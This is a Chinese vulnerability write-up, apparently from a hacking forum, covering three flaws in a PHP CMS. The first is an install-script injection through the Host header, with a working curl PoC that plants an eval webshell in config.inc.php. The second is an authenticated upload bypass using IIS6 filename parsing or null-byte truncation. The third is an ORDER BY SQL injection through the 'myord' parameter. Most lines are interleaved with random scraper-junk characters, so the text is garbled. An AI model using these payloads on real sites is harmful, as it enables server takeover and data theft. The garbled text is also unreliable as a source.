注入:
& X6 N+ X, d5 V4 p7 J; }* r6 X
6 X6 y/ P6 T. `- n之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
* q" L6 [1 G) X2 i4 R
: K) h; T5 w2 ?1 L鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
# o) @; V- @6 P; `. z+ [/ y鸡肋2: 有一定安全常识的站长都会删掉 install 目录: |6 K& ?& V7 B" y3 v
; E; E, v( G6 r% E3 W5 n虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
5 n- W0 ~$ p+ d* |: P I0 b
6 F1 B: d2 c( _4 a& q5 L6 n; }分析:+ h9 V6 j& j; ?
9 `% x3 }& k, N' b! n; E
" H, U) Y6 Z, d' r$ G7 u$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
1 I! v& g$ o& m# N" ^; i . a ]$ n) d+ @$ x" o$ p
$filestr = fread(fopen($SysConfigFile, 'r'),30000);- [+ ?! p% A& P; u2 C3 k. |3 `
$filestr=str_replace(" ","",$filestr);
# k% x$ ]. ~7 @ _! ?7 u $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, F% a. W) U0 {
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
0 q; f% D& ]+ q0 O2 Z4 x0 e $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
7 }9 N, W$ ?) z! {, C $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ t' L+ d0 p% F- t0 V- h4 D $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
( w, _( t$ j2 r- x $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);+ n9 P- b' O! k; z. @
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- Y4 Q! B7 D3 j
& F( ]+ C5 Y, P) |4 t( j, i8 h
fwrite(fopen($ConFile,"w"),$filestr,30000);
$ U+ {8 ^/ K7 \% ?% {- F$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
, i6 i( ^$ H! B$ K 0 c- X$ @' v1 v j: ]( B% q0 N
poc:3 Y# T. L/ a( T1 K4 V3 B
) q1 a2 Y4 M) s5 O Z! j6 U" {?
: n" c: u+ Y' j1
, k8 x$ X" c; P& w! z0 Rcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"( N `5 F( O% U* G
shell地址: /config.inc.php% ?# C* B* b1 a5 U
跟之前的 phpcms一样 需要远程数据库
# b; G# v3 F/ p4 n% N
; {8 g2 J0 R3 T" u# _——————————————————–" z4 L9 t" I8 a
上传漏洞(需要进后台):
5 d& Q* |: O0 t$ m: o! `漏洞文件: /kedit/upload_cgi/upload.php& m: E* v, q$ q+ k2 a4 E$ K
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用6 k! F+ k! _% a. t. m. F. O- a' @
4 i( o; P! J% I$ }! N2 Z
3 N1 Y7 M* `8 c
<?php
, g7 d' B. c- L# @; @2 W define("ROOTPATH", "../../");
' C: f5 B$ r5 c! Q% U. d include(ROOTPATH."includes/admin.inc.php");2 a9 E, z# {$ b4 ?5 ^
NeedAuth(0);
$ V {$ @7 x- [ ' S# P1 L% b9 C8 E& V6 G2 C* y& N
$dt=date("Ymd",time());) O3 w/ `0 c; I2 [# U$ ~- c3 H
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){5 _0 M' Q2 \! u3 \6 p6 w4 Q+ j
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
2 C7 C" N4 l" `. U }# s: u' C+ q' ?, j* c E; y7 M G: _3 |
z- c7 s+ G$ \; N! t& O$ b* q //文件保存目录路径
0 \' A- E0 t; f& k" H $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( S- G/ O" Y- y U5 x
echo $save_path;5 f7 i6 e6 ?( i- S. G) r1 O. |) ?
//文件保存目录URL
# @2 y4 y1 [4 r# _) w; W9 X; G3 B $save_url = '../../'.$_POST['attachPath'].$dt.'/';
' k% z5 ~- @0 |& T% }- ^% L9 }
: \. b. [/ }, {& l" } //定义允许上传的文件扩展名+ W1 a$ q: h5 R X9 W0 t1 A3 ^7 Y% t6 N5 y
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
- L! [# i! t* L$ s: R% B: L
4 L$ ^- z; Y+ ^; Q# } //最大文件大小
+ B# y+ g% h2 Z4 X( t7 Y* k7 [ $max_size = 1000000;
" }& f# T/ G- W 1 c) G% U# [0 c" i! j
//更改目录权限' x: P; d1 {. J0 Z- P; R
@mkdir($save_path, 0777);
6 _3 u# e6 e4 ~+ b! N+ y
- t- r/ R; ~' k8 n+ [' B# E //文件的全部路径5 L$ ]2 R3 u, K X2 S* Z( Q
$file_path = $save_path.$_POST['fileName']; //保存文件名
; ]- V( J2 Q2 }- j & }% e' B: p6 V/ E- E1 T
//文件URL. {5 l1 V i, u
$file_url = $save_url.$_POST['fileName'];% R) q. `( v1 l: X) I
//有上传文件时" V/ T! ]/ n1 T3 ?
if (empty($_FILES) === false) {
t5 p2 j( }* j+ a 7 T) J8 V, V7 U0 A1 J0 \8 \
//原文件名
7 @8 E8 j3 @5 z, z; G% g: O $file_name = $_FILES['fileData']['name'];5 M) m( J6 w1 b
//服务器上临时文件名/ B: G* U: [9 V$ T6 c. c
$tmp_name = $_FILES['fileData']['tmp_name'];. A% X2 d* ?( ^0 b `* R
//文件大小
! \! p6 H8 W( i. R, M# k) U $file_size = $_FILES['fileData']['size'];
% m- g9 O2 T- c1 I //检查目录
! ^& y( d" k# V! Y. b5 F2 X& b if (@is_dir($save_path) === false) {
+ y( j! w6 z' i alert("上传目录不存在。");; a& s( ^) J/ k; W
}0 R0 ?6 g' }( _ Y4 a
//检查目录写权限
7 @. w1 z; o) S, a5 f/ y if (@is_writable($save_path) === false) {2 b5 {7 G% \6 @; y# o) {1 v& B; l
alert("上传目录没有写权限。");9 o% E3 o: x f9 B5 {
}& |! V& X L1 ]! _4 {
//检查是否已上传8 I: ]3 o! Y D6 I' Z8 Q4 a) ~
if (@is_uploaded_file($tmp_name) === false) {
a/ t9 |3 h1 |4 Y( w. C alert("临时文件可能不是上传文件。");
- T# w0 h$ ^5 n9 m6 A) O& v }
1 ]1 e a' L$ g7 p! J //检查文件大小! a, j. A" P) R7 E
if ($file_size > $max_size) {
$ H4 S1 ?% s( p# Q9 P alert("上传文件大小超过限制。");- g) Y4 |3 f1 V+ T. d$ B
}
9 l* S' E4 r8 ] //获得文件扩展名
+ f& r0 f* f( M4 ?2 y $temp_arr = explode(".", $_POST['fileName']);( m# o' \, Y& Y3 f
$file_ext = array_pop($temp_arr);) V0 s: q p) O j3 f- k6 T B% m4 I
$file_ext = trim($file_ext);1 A( t2 K4 m- J% T ^
$file_ext = strtolower($file_ext);
. n4 `9 d0 u' {0 A9 Q 0 U0 |% U( Y& Y$ q
//检查扩展名 ( e& u. S) z; W* X
if (in_array($file_ext, $ext_arr) === false) {
2 y* D! J( W4 E1 _ alert("上传文件扩展名是不允许的扩展名。");- K, o+ x, o3 l. C. w
}$ L; o' k" Y# O9 {
) Z2 ~. C5 a" n0 _ //移动文件 7 }. e6 I; M5 D, ?& q) l5 y. M
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
9 E/ A% i' r# D: p if (move_uploaded_file($tmp_name, $file_path) === false) {4 f& y( l9 r% q+ G
alert("上传文件失败。");: }5 F+ x; M( f5 P% _
}1 z L+ p% L+ q- h# A
- w+ R+ w( o* K( s, F9 C/ i @chmod($file_path,0666);0 d% ~) B" ?6 t
1 A. i' ^3 z' p+ L4 k
?>
; m% B6 I& @$ H6 Y/ u抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2277 i$ Z% t& ~, [" b$ ]0 Y
4 u9 p. Z! d* Y4 e7 s/ J4 t
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过 z+ a4 H( j5 B0 P0 t
- h* q! R3 _9 y: L——————————————————6 u# @0 Z$ r3 R/ c
注入漏洞:" L) w9 I0 N9 g+ s( U7 S, z
漏洞文件:search/module/search.php
# S( j9 K+ j) }* B2 F3 O( G/search/index.php?key=1&myord=1 [sqlinjection]
" S# W% p5 l! h; ]( G" Q7 S7 D % t3 A0 ^4 M- b- w, n: x! \! a# P
$ N! A' F: ]! i" J& m0 c$ }7 W& a<?php* F3 e: {2 f5 o; P& S7 C5 J# w
// ... 省略 n 行...0 B; C W5 Z/ z8 M
//第18行: o# X- C0 ^0 I! v6 v' y
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
! B( N% z/ {9 _. K) C$ |" @# ^ $page=htmlspecialchars($_GET["page"]);* m1 ~3 I" t4 D/ |" ]
$myord=htmlspecialchars($_GET["myord"]);6 s3 r1 q4 q$ ]3 c* F8 z
& f8 `$ _& U- d* m- f! m6 B* n. O // ... 省略 n 行...1 x# t* I: y4 J! K3 G8 p, [
$key,$myord 两个参数带入查询6 i. j& ^6 P* Y4 m& u8 T; J0 ]
//第47行 $key:
( {2 @4 C. U+ f6 _ 1 \. ]: _+ e6 U) f* \* Q! n
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
9 o2 ]% J) a) `3 h' i) z
^' [5 j z2 B3 T1 _! p$ X //第197行 $myord
) l1 t* D' ^9 b8 \$ n- M; ` $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入$ r5 R1 ~$ V2 \, z$ q8 k9 h+ F
3 M0 x1 a \8 t$ Z J ?>
" l/ R" [0 v$ q, ^ |